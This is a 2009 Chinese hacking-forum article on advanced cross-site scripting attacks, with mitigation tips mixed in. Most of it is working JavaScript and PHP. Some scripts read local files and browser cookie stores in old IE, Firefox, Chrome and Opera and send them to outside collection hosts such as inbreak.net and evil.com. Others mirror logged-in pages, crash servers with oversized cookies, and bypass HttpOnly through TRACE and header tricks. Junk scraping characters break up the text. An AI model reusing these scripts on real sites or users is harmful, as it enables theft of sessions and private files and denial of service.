XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
本帖最后由 racle 于 2009-5-30 09:19 编辑

XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
By racle@tian6.com   
http://bbs.tian6.com/thread-12711-1-1.html
转帖请保留版权
" @$ k' J* J2 {) ~

- [5 T9 e# g5 Y: [
9 u) n( f; z- w-------------------------------------------前言---------------------------------------------------------
+ f4 T( Y5 Y; _1 R

本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.

7 O; z$ R: I" Z  j0 r  u
如果你还未具备基础XSS知识,以下几个文章建议拜读:
9 J# o3 V% o) Y! t+ Uhttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
* U# `( R: R7 fhttp://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
http://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
- C" M6 E' J2 K! V2 o( R9 O) Lhttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
http://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持
6 y8 L; c1 U  n. v2 l: \2 S) q" r8 }

4 {; O2 i9 M+ A# U; W/ d" a2 l% o4 D

如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.

% \) U- ?7 z2 G5 P: C$ l希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.

# A4 F) h2 E8 F5 \* ^# \9 L$ O如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,
$ Z* P$ F' R3 }  C  d5 A3 a" H
Baidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大
7 w' [* o0 q5 l5 r3 U
QQ ZONE,校内网XSS     感染过万QQ ZONE.

OWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪

/ a2 U( \" c! w- ^* _9 z..........
复制代码------------------------------------------介绍-------------------------------------------------------------

什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.


' n+ B, M8 G* u$ w- L9 E
跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.

- q% g) F% y' B5 o

如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
" _/ q) }, v- U$ M复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
4 S# B* p& S5 z$ Z) F, d我们在这里重点探讨以下几个问题:

0 f" o1 I) R  N; Q) o1        通过XSS,我们能实现什么?

  X* T2 D4 F; N" i2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
" H: C2 P6 l% t
- `1 ^$ c7 c& b; [3        XSS的高级利用和高级综合型XSS蠕虫的可行性?

4        XSS漏洞在输出和输入两个方面怎么才能避免.
  G$ v+ t' }0 n4 @: p6 I+ N: q
8 Q" w+ @5 F: B5 E
4 ]( X7 V6 Y  n! v; p
( P/ E' Z  B. E------------------------------------------研究正题----------------------------------------------------------



! V( v9 S' e- L0 s- H6 a9 a7 r通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
$ A4 d! i7 N$ s* v! D* b; e5 Q2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
0 ]: P" E3 i# P8 A2 m3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4:Http-only可以采用作为COOKIES保护方式之一.

8 ]+ ~+ }* K6 r

8 V# E: L; l5 {

(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
5 H& ~2 l* H1 A* G/ A
我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)

+ F9 A7 R1 L: g; V2 H
' U, B- a: \* \: F: m) J, }+ d& _
    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
( M% X# f, @* t5 P, Z: R+ k
$ t: p5 R; ^6 o7 B  e# l1 N  S
+ E: }; R7 d) ]& N8 ^2 p! Q' x2 d
( s  a0 P) ^3 n( b8 i    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。


( t+ \7 p; y4 Y+ p4 }
- q" M3 V% n1 z" F3 {2 R    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
% _* R3 C8 Y/ v- k+ j1 K复制代码IE6使用ajax读取本地文件    <script>

    function $(x){return document.getElementById(x)}



+ c: E* u1 q- }: {8 B8 b3 v0 W    function ajax_obj(){
* t% |5 B& b, P) P" R& S4 C
    var request = false;

    if(window.XMLHttpRequest) {
$ J- E! F6 a1 k5 {( ]' w( ^' I
    request = new XMLHttpRequest();
6 f: @9 o; N$ m- F5 D, \
    } else if(window.ActiveXObject) {
3 y1 |" G4 r2 V7 G/ e
    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
3 F/ ~& c0 D2 L' L0 L- p* k


    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

    for(var i=0; i<versions.length; i++) {

6 l1 K. E2 z6 t- X3 F    try {

+ g3 L$ l- J- n9 t& d( `* q1 R) ?    request = new ActiveXObject(versions);
* c6 l$ N4 u' l: x% \9 n  t, E4 N
    } catch(e) {}

! n+ D) j5 g- f: N. F8 ~    }

    }

    return request;
+ R7 s( ]/ O' ]' G9 [  p6 b
    }
& _; H* Q0 \! _
    var _x = ajax_obj();
) ]# m$ P5 x4 _- `! Y: k! ]
$ m0 ^; t* F# t% \7 }    function _7or3(_m,action,argv){

" }* h0 X% g3 H1 q1 D    _x.open(_m,action,false);

5 a0 H* q: o: |1 n* T' c% b    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
, w: ^' j0 F6 T
    _x.send(argv);
9 g$ O' W5 F- z1 p, _: k4 ?" ^0 K
9 F1 s, |+ z6 ~2 m    return _x.responseText;
/ c% t: ?5 ^% ]% K1 `
# l4 s" y/ \0 h+ ~    }

: ?# _8 p7 @1 b
9 P/ H7 S6 |& m: e# U/ Q
    var txt=_7or3("GET","file://localhost/C:/11.txt",null);

    alert(txt);
" P8 X# p5 ^/ G( E! b# e1 ~
/ q. ?0 w, G/ Y9 M5 a2 |/ N- u, `& d

; L* f' L8 f0 r2 m    </script>
3 M& R7 ^2 Z$ u$ ]. Z  ?# r$ m, D) m复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>
% W* ?3 J% c6 L: y( f5 v! z
. g& n. f9 E5 m, n. t    function $(x){return document.getElementById(x)}
2 e: f2 d" o# T2 x* O
& i! v1 ]) S$ G& o5 m

    function ajax_obj(){

0 z5 v2 _; x' q* n# N$ a( t    var request = false;
4 }' ^# `: Y2 f! N# i' U
, z" e6 z" B: H" _' Y    if(window.XMLHttpRequest) {

% H7 [8 b6 s* l' v6 @; ]' B    request = new XMLHttpRequest();
- v5 i8 C1 n1 e) u3 F0 r0 x
8 B; H/ Q' a" r  A    } else if(window.ActiveXObject) {

2 Y" a8 V3 G; a+ r* [7 c5 d( c    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',


) E! W# P9 h5 ?3 [' g
    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

/ J( R/ t- N1 o1 @; ~; s( Q    for(var i=0; i<versions.length; i++) {
9 [& @/ a/ {+ j5 n  Q' p
! [% D, s$ k4 b9 S- N/ W$ y' u: L9 i    try {
7 z7 Q. {& V  m5 K% v
7 V( p8 G: n( ?& t5 I; n    request = new ActiveXObject(versions);
0 N* l2 E9 c/ k5 B9 l
    } catch(e) {}
8 C( `0 `- _+ l
4 p% r/ M) l) k) U7 X+ u! Z* c" [    }
+ F# F4 Y* s, a
1 I) E0 H( \4 n    }

    return request;

    }

    var _x = ajax_obj();
. V  B3 B$ I& j6 m) e
    function _7or3(_m,action,argv){
1 M, h, |! P  q/ k1 d
" N* `: k5 D$ M/ Z; B0 N& t    _x.open(_m,action,false);
  {: M' T( Q' U8 }+ {) M* s
! I$ N/ o  F) T0 X4 f    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);
. ^0 ]. [+ T6 {1 N9 c" D
8 J9 u0 C8 _* {: m# X8 l    return _x.responseText;
7 C* o7 e/ F, d
    }
3 @0 l$ u* \6 }# {
0 m7 C' M$ _- \# R# t
1 f. J  D  }6 O0 c( K- l( c2 P
    var txt=_7or3("GET","1/11.txt",null);

% u) Z) G% Y" p    alert(txt);



    </script>
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
2 r* K, M7 Q  b" J$ y2 y  L+ `" \
% j' }4 j3 d$ U: t

1 @% H9 _0 E+ MChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
5 d$ a. m6 b4 F8 S
  R" b: ~! U( f' c; B1 j

<?   

" w3 K* w" H- N: h( v# A/*  

     Chrome 1.0.154.53 use ajax read local txt file and upload exp  

     www.inbreak.net   
3 V7 \6 I8 O! T2 C+ M: r# i$ C1 d* }
     author voidloafer@gmail.com 2009-4-22   

     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  

*/  
) C$ Q5 B3 t# A( v
- L! F7 M" C8 D7 Z, k2 M# {' wheader("Content-Disposition: attachment;filename=kxlzx.htm");   

header("Content-type: application/kxlzx");   

/*  
' J/ Q1 q% A1 d7 Y8 g$ d/ V: _0 ~
7 _+ y! k7 Y8 N( b- Q" S5 @     set header, so just download html file,and open it at local.  

6 |3 n1 F' Z5 U, L/ \1 \*/  
. r) x7 s$ Y6 c! Z& A- M
?>   

: |5 E6 ?% P; t- d& V<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   

     <input id="input" name="cookie" value="" type="hidden">   
% c9 f' _( |# ^1 E5 ?9 M
% K/ q9 G! k, }</form>   

5 Y/ b- M3 N0 `4 `9 A/ ]<script>   

function doMyAjax(user)   

4 u3 M6 V1 @( |9 `2 Q% _+ K{   
& w9 a9 S5 K: \6 Q. Y" N
/ \; w7 p5 Z- y7 @0 y; O, zvar time = Math.random();   
  o+ h+ \# D  ^* {8 v' ^
% j, m# u- c2 L6 e* G$ E7 `/*  

the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  

" K1 `. ^' r* t, c) Z' E! tand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  

& J. j8 {3 g9 l" s( G- ?and so on...  

. w( Z+ x/ t! P+ x6 }3 H# [*/  
- T* m% w) v! f' R
var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   
3 p, p5 V' ?* l: J: B- i/ K- X5 a
   
" C1 l, |$ |& Q5 }  h; }
, H8 E* C/ N' n; {; ?# _1 GstartRequest(strPer);   
: F) {6 T( F4 e- x
# M5 [  u8 ]+ _! r

. l! M" j+ [8 \/ A; Q  S! [8 i- J}   

( @- d8 W" [& K$ Q% E" Q7 I# K   

function Enshellcode(txt)   
. I) o+ f( t1 I/ x5 Z6 }4 E" g
1 c% [1 w0 a  }+ y& A6 y{   

! m# A) W9 P+ I: X, J+ f5 mvar url=new String(txt);   
4 a" c+ n3 U2 k
var i=0,l=0,k=0,curl="";   

l= url.length;   
! m( S* U: O' S2 u- ]
& E/ `5 ]4 r/ L8 kfor(;i<l;i++){   

k=url.charCodeAt(i);   
/ X- a) \6 d2 X
! n* A( P, h8 {+ e& C+ ^% e$ s5 Gif(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   
0 T9 a+ H9 U( i' u2 h! _; [
if (l%2){curl+="00";}else{curl+="0000";}   

curl=curl.replace(/(..)(..)/g,"%u$2$1");   

9 O3 S6 U" c# ~return curl;   
: T$ E! l4 k8 k# G
}   

" _8 L" O5 t5 z  y; f" K, f! _   
* [' r1 G, V/ |1 H5 i4 y* G6 c
   
% {; L5 M9 N5 j' P: g7 t
var xmlHttp;   

function createXMLHttp(){   
0 U. Q% r& E4 g9 G# q" n0 b
     if(window.XMLHttpRequest){   

xmlHttp = new XMLHttpRequest();           

  ?; q% ]) x" S( }/ R: g     }   
  {# P  q1 p" q' m
     else if(window.ActiveXObject){   

) d) C8 b5 o5 |xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   
+ v" _$ ^1 w5 w5 `
1 ^/ C( l& _2 i* g4 P, f% {     }   

}   

: @( N1 g0 ~. s+ z9 e/ P   

. p% R+ H- u' H9 ]7 p. K! Ifunction startRequest(doUrl){   
* P' G" \6 Q# M
   

! l% C0 Q* A1 ^  v     createXMLHttp();   
# {/ E2 X/ ]% }! J. Y
, C4 P5 g1 P$ K! c
2 e0 ?6 L8 ^8 e: i. z4 Q! W
" R& P" e. `1 \% H     xmlHttp.onreadystatechange = handleStateChange;   
# X$ C  }! C) h0 O( z4 A5 n# \
" o( T8 @3 b: C$ Q2 W
5 J& D- @9 J2 ^1 l2 R
     xmlHttp.open("GET", doUrl, true);   



     xmlHttp.send(null);   
. _* E% O  }3 u( r
) X) G; ^/ {! F2 ]& V6 |

8 ^! I! i3 m5 D. V3 `

% f( o9 T% O/ [$ X9 S. ]}   

, l+ u5 s! _5 s1 D   
3 p9 C" c% U6 @8 P; G
! d% d2 E) P6 N2 q* {2 kfunction handleStateChange(){   

' C$ A7 P# F0 K) n: p7 T     if (xmlHttp.readyState == 4 ){   

% _! B5 B4 R4 \8 O- w( t* l/ w     var strResponse = "";   
" ], N) n  E# c1 U
     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   
+ ]* c3 \+ S5 W/ ^& t0 @- m3 R2 ?0 O
        

     }   
) q! r3 X- }& R  D& }
0 g' b; C" G  {. s/ d9 F6 ?% ^}   

$ G) q2 r" N! X: I8 D$ ]) {   

   

6 v( q6 O  f, e: q4 |" Yfunction framekxlzxPost(text)   
$ J$ I. t8 b! v5 i$ S# q. H
{   

+ {! R) D' b+ ]  C  n8 Y* ~     document.getElementById("input").value = Enshellcode(text);   

# e8 g& `: G4 F$ W* d$ }7 y. l7 e$ I     document.getElementById("form").submit();   

}   
5 w9 I1 T$ X8 ?5 R, `) Z% K$ f
) i5 p" Y- ^) E! C7 f   

$ \+ h+ i, R" i+ p1 p$ GdoMyAjax("administrator");   

0 I0 c9 |7 `6 |( ^1 |   
2 a+ ]' R: S9 J* t
</script>
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
1 L7 {% r5 H% q
var xmlHttp;  

function createXMLHttp(){  
$ f6 a, I4 L& a# Q* o. D3 a" j
     if(window.XMLHttpRequest){  
* c% n0 D: y; v9 k! S* X
- j" N( v6 x% S0 k1 |7 i  ]         xmlHttp = new XMLHttpRequest();         
6 v6 B6 @6 t) c' f4 h: V) Q5 m% w
     }  
4 H2 ?9 g. I+ ?& {6 x- Y7 _9 ?' S, p$ Q
     else if(window.ActiveXObject){  

( _4 G. _. p8 V- c7 P' i; f: _& U         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  

     }  

}  

0 x0 J' g6 ?4 `: u   

2 v7 A* B, v3 v  Q8 x; J" Sfunction startRequest(doUrl){  

& U7 {' x) K% w/ K           

4 M6 b( G) S2 A5 u     createXMLHttp();  

" M4 N8 q0 V5 f9 V( d      

0 h: z# d/ \: q: i0 l     xmlHttp.onreadystatechange = handleStateChange;  

3 c' J/ u+ x' B, Y' P3 q: X      

     xmlHttp.open("GET", doUrl, true);  
: _5 ]0 |9 O' Z$ z+ r: d
  [! `7 M- Q9 ^7 k' i      
- A' X/ C0 w" x+ T+ K; _
     xmlHttp.send(null);  

$ e6 `: {. B3 P$ `% v      
9 Z: K# h, {$ L7 c4 M( O; {! o0 }
& l7 `. y4 w; a7 w      

}   
) v! H, W4 l9 T, n5 t
   
  k' J$ S, J3 W/ T' e
5 Q) z$ ~) d. f- nfunction handleStateChange(){  
. ^7 {; b! K: J1 P5 X" S
' x9 x. |. F+ b7 X9 P     if (xmlHttp.readyState == 4 ){  

             var strResponse = "";  
: }0 d1 e5 B- k0 R+ k
5 r8 d9 B# p$ F2 V* J             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   
; I) W0 M# U% u! a
               

2 i! x: [9 f, G     }  

}  

/ x) k7 h7 a- W- C$ q   

6 o6 I3 b# }4 H) Q4 b3 I% {; Ffunction doMyAjax(user,file)  
+ ?2 ?3 Y9 y7 s  ^; F8 Z. ~
{  

         var time = Math.random();  
3 t2 m6 q# Z2 s; S7 z! ?2 {
+ p$ L' w8 C- r7 Q, V# X           
/ m8 g6 s" M$ ^; I$ S% |
$ F: i8 @  V( u, [6 j2 U6 U         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  
0 ]" \# @# y% B0 H9 y" B+ W
           
! \' B+ L  _6 ]0 d
+ G3 O' D, i9 I         startRequest(strPer);  

      
" A( ~* j; F6 S# h8 A4 ^8 j
2 R$ S  `3 Z/ z- r}  

   
  M: ~, c. b0 Z; g! D9 v
+ U  r) @; e  q4 ffunction framekxlzxPost(text)  

{  

* {1 z  B/ k. X. B% n2 |     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  

     alert(/ok/);  
. N+ R; M# u9 K
}  

7 ^1 s& e6 `' m   

doMyAjax('administrator','administrator@alibaba[1].txt');  
6 A6 |( P/ r- @4 d/ `- M
% n( f5 c* R0 S) ^; [# z7 O% X   

* w3 `6 m$ A/ `* K0 |3 w</script>
8 H1 ]( E1 c. ?' r



2 e( C3 c5 x- K; f7 Y  Z3 N% A
4 O" Q: C: h; K" u8 E8 u  ^) H- W$ xa.php


7 B8 N5 m* h% h; q9 w( w5 g. k
" v( _8 n# o# ^<?php      
: M, ^$ D: L% A
   
5 L3 V: C' u$ k( t1 b& N& u1 @) m
$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  
  I! b. y: Q+ Q' }$ b; H5 L: U
$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   

  

$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     
* {' O, b2 a8 B" ~/ X
fwrite($fp,$_GET["cookie"]);      

fclose($fp);   

?>
6 r8 H/ _5 I( @2 F* y' w复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:

) V" y- z. }- h) w或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
# g+ ^7 j1 `% z( Y. i9 V利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
% @/ J2 ~( r6 Q" }, J
) g4 }$ x( E1 U9 r7 ^( B% }代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
& _# d* C3 D  q/ y
//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);

& T% e5 W" \- h) `; L# _( V" S//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);

function getURL(s) {

var image = new Image();
1 f* W/ x% X% x2 z- [0 n6 v
image.style.width = 0;
( h8 k4 J  {& H
3 O+ F0 s# d/ gimage.style.height = 0;

image.src = s;

( W6 U, Y7 J- `- ]* E, C2 l, h+ L; q}
, P' p$ q9 F1 t! v; i6 P/ L5 i
getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
这里引用大风的一段简单代码:<script language="javascript">
; @% y  t( Y5 u
var metastr = "AAAAAAAAAA"; // 10 A

' s) U) C& l; V! a. ivar str = "";

while (str.length < 4000){
5 g- e# V1 W! I* f" v
    str += metastr;

}
# I7 B' e( j* a/ d. @

4 j9 w# ?& C' j8 f" T
document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS

5 Z( C. B( C$ q# z" g</script>
8 s( ]' C8 M% ?4 L$ Y4 I
% n' e3 U4 ]0 ^- d3 ]详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
. d% q: d4 ~! Q0 @5 ~# o; [) Y复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
' J% ?- @& c$ Q. D3 V- E: yserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
- ~* k- u+ F- ^" ]2 Z7 F
假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
* m4 {7 V6 m( |攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.



3 R6 Q7 S9 o8 q$ b2 C; z
, J* |4 B  _' U) B/ V) ]' a2 N

$ h! `4 M) t0 P9 L(III) Http only bypass 与 补救对策:

% ~; ]: r5 _, H. u# y1 c5 v什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
: }# b* K! k; Y( h8 C  A- n: G
<!--

function normalCookie() {

7 N9 [+ k3 m7 ?! }5 G$ X0 ^document.cookie = "TheCookieName=CookieValue_httpOnly";

alert(document.cookie);
/ p3 u* w! f, K: j- N; u2 c
}
* o2 i8 A' e( `: S
7 \/ b' u# k9 C& I; |
0 @3 @$ S( T4 v! ^% u


function httpOnlyCookie() {

document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
# Y2 U  z3 r, L( G# V
- b7 x1 h, @' x+ Y; b1 r% Nalert(document.cookie);}



//-->

! u8 F. U& L+ q6 R9 b4 x* ]</script>

# {" z$ W4 D5 M8 K8 y: U9 v2 _% P

<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>

<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
+ ^2 R3 C+ ?* z5 g  C5 n


9 m1 c: x! T+ R: f" t# _4 ^5 jvar request = false;
4 K) W1 ?8 s% ~/ k. ^' g
        if(window.XMLHttpRequest) {

3 Y; r; `0 `" \            request = new XMLHttpRequest();

            if(request.overrideMimeType) {
5 V1 ~# `$ z+ h- o# v9 \3 s
. `& Z4 x' Y  i; u7 `6 Z                request.overrideMimeType('text/xml');
* {- X* X3 u) T$ Y& |1 ~5 Z/ I
            }

        } else if(window.ActiveXObject) {

            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
6 k1 B9 e7 Z" W7 r
9 q8 H7 i! c* _; f  o: I1 O  J            for(var i=0; i<versions.length; i++) {
: d+ U! s1 @5 ~7 \
5 E/ ^* v9 M; Q+ ~3 V7 @% t                try {

  L! `+ ]' s, m& K                    request = new ActiveXObject(versions);
/ n% i/ E9 F. d# F* z) ]
" @# N- T, o5 o' s                } catch(e) {}

            }

        }

4 F6 R" _( h* o: Q2 A$ JxmlHttp=request;

1 D! C$ _  ^! ixmlHttp.open("TRACE","http://www.vul.com",false);
# _6 G% I9 i% G+ Z+ O
xmlHttp.send(null);

xmlDoc=xmlHttp.responseText;
% R% _5 @: Q8 Q0 @
8 |0 `# W# G; E3 V, f/ L5 G& a; nalert(xmlDoc);

8 ?1 o$ v- |! o) L</script>
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
) u/ R" w# w# ?8 Q
XmlHttp.open("GET","http://www.google.com",false);

XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

XmlHttp.send(null);
0 ~7 A. _& E9 g! G
- ?* I/ D# O( v, Ovar resource=xmlHttp.responseText

resource.search(/cookies/);
" x$ R8 N9 U- I1 X8 r
9 X6 c9 g! m5 X......................

+ Q+ G" M/ O+ j1 K& p</script>
+ G4 ?9 p8 H( k0 t


; i4 @" H6 r& R* d9 k% ^4 }

9 W: {% Q; Z  [8 C7 x如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
- S  ^6 ~  q9 _6 K
* g# Z9 a4 ]' @" R4 }. }) b  Q3 s[code]
2 ?$ R1 l$ X% t% _0 ~
; r9 c: @; P) O: hRewriteEngine On

- o6 R( c2 ], j5 @, ?: CRewriteCond %{REQUEST_METHOD} ^TRACE
0 {5 p( R8 H( w, L. c5 y) R9 p# M! E
6 d6 z! @( w/ i1 {. V1 MRewriteRule .* - [F]
& `7 P! O2 r) c' C- W
4 v4 i& ]6 B+ `) L& c( K/ T  S- S
' r5 c& x% L' Q+ I* p
Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求

& H3 S  [8 u- h* d4 Macl TRACE method TRACE
6 M8 F- I8 Z, x3 H" r
. E0 U) r4 {* s0 A...

http_access deny TRACE
" ?& T8 H/ \& A+ _* I  l3 b7 {& T复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
9 G. C% E( G1 @
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
5 t3 H- Z0 y) E4 k3 Q0 U
XmlHttp.open("GET","http://www.google.com",false);
; Q6 s) L, `9 y" e
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
! {* p% Q/ B& X' i" @
XmlHttp.send(null);

</script>
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
+ F8 t2 o5 z% Q4 o. }) `
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

* g2 T$ e0 T3 Q# j+ Y
$ _& S# z2 z6 E, c$ u
8 l* e8 e3 ~. r  Z$ {# B: ~. UXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
: S( _3 G( m& g+ a
+ i6 P1 B, O  fXmlHttp.send(null);
2 }; H; l9 I  E' M8 Q% N
: x4 l# @. a' e# t<script>
